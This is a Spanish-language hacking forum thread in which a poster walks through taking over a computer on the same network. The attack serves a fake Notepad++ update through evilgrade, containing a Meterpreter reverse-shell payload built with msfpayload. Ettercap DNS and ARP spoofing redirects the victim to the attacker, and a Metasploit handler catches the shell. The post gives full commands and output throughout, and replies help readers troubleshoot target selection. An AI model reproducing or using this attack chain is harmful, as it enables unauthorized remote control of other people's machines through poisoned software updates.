Indetectables

Bueno amigos ya es la segunda vez que hago este post ya que la anterior le di a enviar y se me salió la cuenta

Empezemos otra vez...

Bueno Evilgrade para mí es una herramienta que nos permite hacer que los programas de un sistema cuando necesitan ser actualizados, al hacer update, en vez de hacerlo desde su host, lo haga desde nuestro host donde está alojado el payload.
Explicado de otra manera, cuando tu vas a actualizar tu windows, en vez de descargar los archivos de actualización, descargas el payload.

Actualmente creo que dispone de 63 módulos:

Código: Seleccionar todo

evilgrade>show modules

List of modules:
===============

allmynotes
amsn
appleupdate
apptapp
apt
atube
autoit3
bbappworld
blackberry
bsplayer
ccleaner
clamwin
cpan
cygwin
dap
divxsuite
express_talk
fcleaner
filezilla
flashget
flip4mac
freerip
getjar
gom
googleanalytics
growl
isopen
istat
itunes
jet
jetphoto
linkedin
miranda
mirc
nokia
nokiasoftware
notepadplus
openoffice
opera
orbit
osx
paintnet
panda_antirootkit
photoscape
quicktime
skype
sparkle
speedbit
sunbelt
sunjava
superantispyware
teamviewer
techtracker
trillian
ubertwitter
vidbox
virtualbox
vmware
winamp
winscp
winupdate
winzip
yahoomsn
- 63 modules available.

EL módulo que voy a usar es el de Notepad++.
Y el sistema que estoy usando es Backtrack 5 R1.

Primero creemos nuestro payload

Código: Seleccionar todo

root@bt:~# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.33 LPORT=4444 X > /root/Desktop/update.exe

ahora elijamos el modulo en evilgrade

Código: Seleccionar todo

evilgrade>configure notepadplus

veamos las opciones

Código: Seleccionar todo

evilgrade(notepadplus)>show options

carguemos nuestro payload con evilgrade

Código: Seleccionar todo

evilgrade(notepadplus)>set agent '["<%OUT%>/root/Desktop/update.exe<%OUT%>"]'

veamos las opciones ahora

Código: Seleccionar todo

evilgrade(notepadplus)>show options

Display options:
===============

Name = notepadplus
Version = 1.0
Author = ["Francisco Amato < famato +[AT]+ infobytesec.com>"]
Description = "The notepad++ use GUP generic update process so it''s boggy too."
VirtualHost = "evilgrade(notepadplus)>show options

Display options:
===============

Name = notepadplus
Version = 1.0
Author = ["Francisco Amato < famato +[AT]+ infobytesec.com>"]
Description = "The notepad++ use GUP generic update process so it''s boggy too."
VirtualHost = "notepad-plus.sourceforge.net"

.----------------------------------------------.
| Name   | Default           | Description     |
+--------+-------------------+-----------------+
| enable |                 1 | Status          |
| agent  | ./agent/agent.exe | Agent to inject |
'--------+-------------------+-----------------'
"

.----------------------------------------------.
| Name   | Default           | Description     |
+--------+-------------------+-----------------+
| enable |                 1 | Status          |
| agent  | ./agent/agent.exe | Agent to inject |
'--------+-------------------+-----------------'

copiamos el virtualhost (notepad-plus.sourceforge.net)

escribimos:

Código: Seleccionar todo

evilgrade(notepadplus)>start

y lo dejamos minimizado que siga corriendo...

vamos a la siguiente ruta:

Código: Seleccionar todo

/usr/share/ettercap/

abrimos el archivo etter.dns con un editor de texto

buscamos donde diga

Código: Seleccionar todo

www.microsoft.com     PTR    192.168.168.56

y debajo de eso ponemos nosotros

Código: Seleccionar todo

notepad-plus.sourceforge.net A 192.168.1.33

de forma que quede

Código: Seleccionar todo

www.microsoft.com     PTR    192.168.168.56
notepad-plus.sourceforge.net A 192.168.1.33

Guardamos el archivo y cerramos el explorador de archivos.

Seguido abrimos la consola y escribimos

Código: Seleccionar todo

root@bt:~# ettercap -G

una vez abierta la GUI de ettercap:

1º Sniff > unefied sniffing > aceptamos
2º Plugins > manage plugins > clicamos en dns_spoof y lo marcamos
3º Hosts > scan for hosts > aceptamos
4º Hosts > hosts list
5º A la puerta de enlace predeterminada (en mi caso 192.168.1.1) le asignamos Target 1, y a la IP víctima le asignamos Target 2
6º Mitm > arp poising > marcamos la primera opcion > aceptamos
7º Start > Sniffing

AHora vamos a la consola de metasploit y lo ponemos a escuchar

Código: Seleccionar todo

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.33
LHOST => 192.168.1.33
msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...

Cuando la víctima tan inocente vaya a actualizar su Notepad++... adivinen que pasará... PUUUUUUM!

Código: Seleccionar todo

[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (81931 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened

_______
INFO

[*][/color]Descarga ettercap: [Enlace externo eliminado para invitados]
[*][/color]Descarga evilgrade: [Enlace externo eliminado para invitados]
_______
Bueno pues creo que esto es todo, si me equivoqué en algo o tienen alguna duda, haganlo saber

Saludos

la verdad da gusto leer tutoriales tan bien explicados

Salu2!

Siempre y cuando la victima este conectado a tu red. Y tu seas el intermediario.

Tu seas el intermediario... o no

Gracias por el tuto, lo estoy probando y una vez que llego a la parte del ettercap en la parte del host lists me devuelve 3 ips, 192.168.159.1 192.168.159.2 y 192.168.159.254 . No se cual poner ya que la mia es 192.168.1.101 .. ando un poco perdido en este tema xD

elsuc escribió:Gracias por el tuto, lo estoy probando y una vez que llego a la parte del ettercap en la parte del host lists me devuelve 3 ips, 192.168.159.1 192.168.159.2 y 192.168.159.254 . No se cual poner ya que la mia es 192.168.1.101 .. ando un poco perdido en este tema xD

La puerta de enlace predeterminada es el Target1 y la ip de la máquina victima es el Target2

la cosa es que ninguna de esas ips que me salen son ni la mía ni del pc con el que pruebo..

Haz nmap y mira a ver si figura la ip de la victima conectada a tu lan, si es así entonces escanea otra vez los host con ettercap.

pon 192.168.159.1 en target1 y las otras en target 2

Publicado: **05 May 2012, 00:06**

Yo tengo 1 problema. Cuando genero el payload luego al entrar en los detalles del payload me dice que tiene 0 B vamos que esta vacio .Sabeis porque puede ser??

Indetectables

Pwning con Evilgrade & Metasploit

Pwning con Evilgrade & Metasploit

Re: Pwning con Evilgrade & Metasploit

Re: Pwning con Evilgrade & Metasploit

Re: Pwning con Evilgrade & Metasploit

Re: Pwning con Evilgrade & Metasploit

Re: Pwning con Evilgrade & Metasploit

Re: Pwning con Evilgrade & Metasploit

Re: Pwning con Evilgrade & Metasploit

Re: Pwning con Evilgrade & Metasploit

Re: Pwning con Evilgrade & Metasploit